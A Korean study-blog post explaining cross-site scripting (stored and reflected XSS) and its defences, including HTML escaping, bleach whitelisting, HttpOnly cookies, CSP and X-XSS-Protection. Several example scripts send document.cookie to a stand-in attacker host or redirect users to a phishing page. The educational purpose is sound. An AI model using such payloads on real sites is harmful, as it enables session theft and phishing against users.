본문 바로가기

Security

[Webhacking] XSS (cross site scripting)

반응형

서버의 응답에 공격자가 삽입한 악성 스크립트가 포함되어 사용자의 웹 브라우저에서 해당 스크립트가 실행되는 취약점.

임의의 악성 스크립트를 실행할 수 있으며 이를 통해 해당 웹 사이트의 사용자 쿠키 또는 세션을 탈취해 사용자 권한 얻거나 페이지 조작이 가능.

 

XSS를 수행하기 위한 조건.

  1. 입력 데이터에 대한 충분한 검증 과정이 없어야 한다. (악성 스크립트가 삽입될 수 있어야 함.)
  2. 서버의 응답데이터가 웹 브라우저 내 페이지에 출력 시 충분한 검증 과정이 없어야 한다. (응답 데이터 출력 시 악성 스크립트가 웹 브라우저 렌더링 과정에 성공적으로 포함되어야 함.)

 

XSS with JS

Javascript(자바스크립트)는 사용자의 웹 브라우저에서 화면을 동적으로 보여줄 수 있도록 자동으로 버튼을 누르거나 화면 구성을 바꾸는 등의 작업을 할 때 많이 사용됨.

UI적 측면외에도 사용자와의 상호작용 없이 사용자의 권한으로 정보를 조회하거나 변경하는 등의 요청을 주고 응답받는 것도 가능.

Ex)

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

Image 객체는 src로 지정된 곳으로부터 이미지를 불러오기 때문에 src로 요청을 하게 됨.

<script>
// 사용자의 페이지 정보에 접근.
document;
// 사용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
<script>
// 사용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

 

Stored XSS

악성 스크립트가 서버 내에 존재하는 데이터베이스 또는 파일 등의 형태로 저장되어 있다가 사용자가 저장된 악성 스크립트를 조회하는 순간 발생하는 형태

대표적인 예시로 게시판에서 특정 게시물 조회시에 악성 스크립트가 실행 되는 방식이 있음.

사용자의 입력값에 대한 검증 과정의 부재로 script 삽입 가능.

 

Reflected XSS

악성 스크립트가 사용자의 요청과 함께 전송되는 형태.

Stored XSS와 달리 사용자의 요청 데이터에 의해 취약점이 발생.

변조된 데이터가 사용자의 요청으로 전송되는 형태를 유도해야 함.

Click Jacking, Open Redirect 등의 취약점 이용.

게시판 조회를 위해 입력한 데이터에 의해서도 가능.

 

http://dreamhack.io/?search=<script>alert('hi');</script>
<h3>
  Search result for <script>alert('hi');</script>
</h3>
<table>
  <tr>
    ...
  </tr>
</table>

 

Mitigations (완화)

XSS 방어 기법 

  • Server-side Mitigations
  • HTTPOnly 플래그 사용
  • Content Security Policy 사용
  • X-XSS-Protection

 

Server-side Mitigations

XSS를 유발할 수 있는 태그 삽입을 방지하기 위해 서버단에서 검증하는 방법.

( < , > ) , ( " , ') 와 같은 특수 문자를 HTML Entity Encoding을 이용해 태그로 인식하지 않도록 수정.

만약 HTML 형태를 지원해야 한다면 화이트리스트 필터링 

필요한 HTML 태그 제외 모든 태그는 필터링하는 방식.

사용자 값을 필터링 할 떄는 URI Query, POST Body값 뿐만 아니라 User-Agent, Referer와 같은 헤더도 모두 

포함하여 적용해야함.

Mozilla 에서 제작한 Bleach (https://github.com/mozilla/bleach) 라는 HTML 필터링 라이브러리를 추천.

그 외에도 접속 시에 세션에 사용자 IP를 함께 저장하여 세션ID를 탈취해도 IP가 달라 접속 차단하는 방법 존재.

하지만 Wifi 이용 시에 사용자 IP주소가 매번 바뀌기 떄문에 , 접속 국가가 변경되는 경우를 탐지하는 형태로 변형됨.

# HTML Entity Encoding 예시
from jinja2 import utils
@app.route('/board/', methods=['GET', 'POST'])
def write():
    ...
    if request.method == 'POST':
        title = utils.escape(request.form.get('title'))
        content = utils.escape(request.form.get('content'))
        query = '...' % (...)
        ...
        return result
# 화이트리스트 필터링 예시
import bleach # https://github.com/mozilla/bleach
@app.route('/board/', methods=['GET', 'POST'])
def write():
    ...
    if request.method == 'POST':
        ALLOW_TAGS = ['a', 'p', 'h1', 'h2', 'h3']
        ALLOW_ATTRS = ['href']
        title = bleach.clean(request.form.get('title'), ALLOW_TAGS, ALLOW_ATTRS)
        content = bleach.clean(request.form.get('content'), ALLOW_TAGS, ALLOW_ATTRS)
        query = '...' % (...)
        ...
        return result

 

HTTPOnly Flag

 

location.href = 'http://해커사이트/?cookies=' + document.cookie;

XSS 시도시에 모든 쿠키를 전송하려 함.

Set-Cookie: 쿠키명=쿠키값; path=/; HttpOnly

뒤에 HttpOnly flag만 뒤에 추가하면 해당 쿠키에 브라우저에서 접근할 수 없게함.

 

Content Security Policy (CSP)

CSP는 응답 헤더나 meta 태그를 통해 선언해서 사용 가능.

Content-Security-Policy: <지시어>; ...

default-src 'self' *.dreamhack.io 와 같이 설정 시에 모든 리소스를 *.dreamhack.io 도메인 출처일 때만 허용.

마찬가지로 script-src를 통해 자바스크립트 코드 출처를 제한할 수 있음.

출처를 선언하고 신뢰하는 방식이기때문에 CDN서버가 해킹당하면 무력화 됨.

script-src 'nonce-noncevalue13b739d8ea12'

nonce(랜덤) 값을 설정하고 HTML 태그를 통해 자바스크립트 실행시에는 반드시 서버에서 생성된 nonce값을 알아야 실행가능 하도록 지정 가능.

 

 

script 태그에 대해서 load 도메인이 서버 도메인이 아니기 때문에 (자신의 호스트 주소이기 때문) 차단됨.

script가 아닌 다른 태그에 대해서는 정상 동작.

script-src 'sha256-hashvalue_base64'

javascript hash 값을 알아서 지정하면 hash 값이 같은 script만 실행됨.

<!doctype html>
<html>
    <head>
        <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-5jFwrAK0UV47oFbVg/iCCBbxD8X1w+QvoOUepu4C2YA='">
    </head>
    <body>
    <script>alert(1);</script>
    </body>
</html>

<script> 태그안의 js 소스 sha256 hash값을 계산해서 미리 지정해놓으면 지정한 hash값과 다른 <script> 소스는 차단됨.

즉 자기가 작성한 js script만 동작함.

 

X-XSS-Protection Header

Response Header에 선언해서 사용가능.

X-XSS-Protection: <값>

웹 브라우저에 내장된 XSS Filter 활성화할 것인지 판단.

X-XSS-Protection: 0
X-XSS-Protection: 1
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=<reporting-uri>

0일 경우 XSS Filter를 사용하지 않으며, 1일 경우 XSS 공격이 탐지되면 해당 부분만 제거한 뒤 페이지의 결과를 화면에 출력.

mode=block인 경우 공격 감지 시에 페이지 렌더링 전체 중단

report에 uri 지정 시에 공격 감지시 설정한 주소에 신고

최신 브라우저에서는 사용하지 않음.

반응형

'Security' 카테고리의 다른 글

[Webhacking] open redirect  (0) 2021.09.19
[Webhacking] CSRF (cross site request forgery)  (0) 2021.09.19
[Webhacking] client-side basic  (0) 2021.09.17
[wargame] strcmp  (0) 2021.09.17
[wargame] cookie  (0) 2021.09.16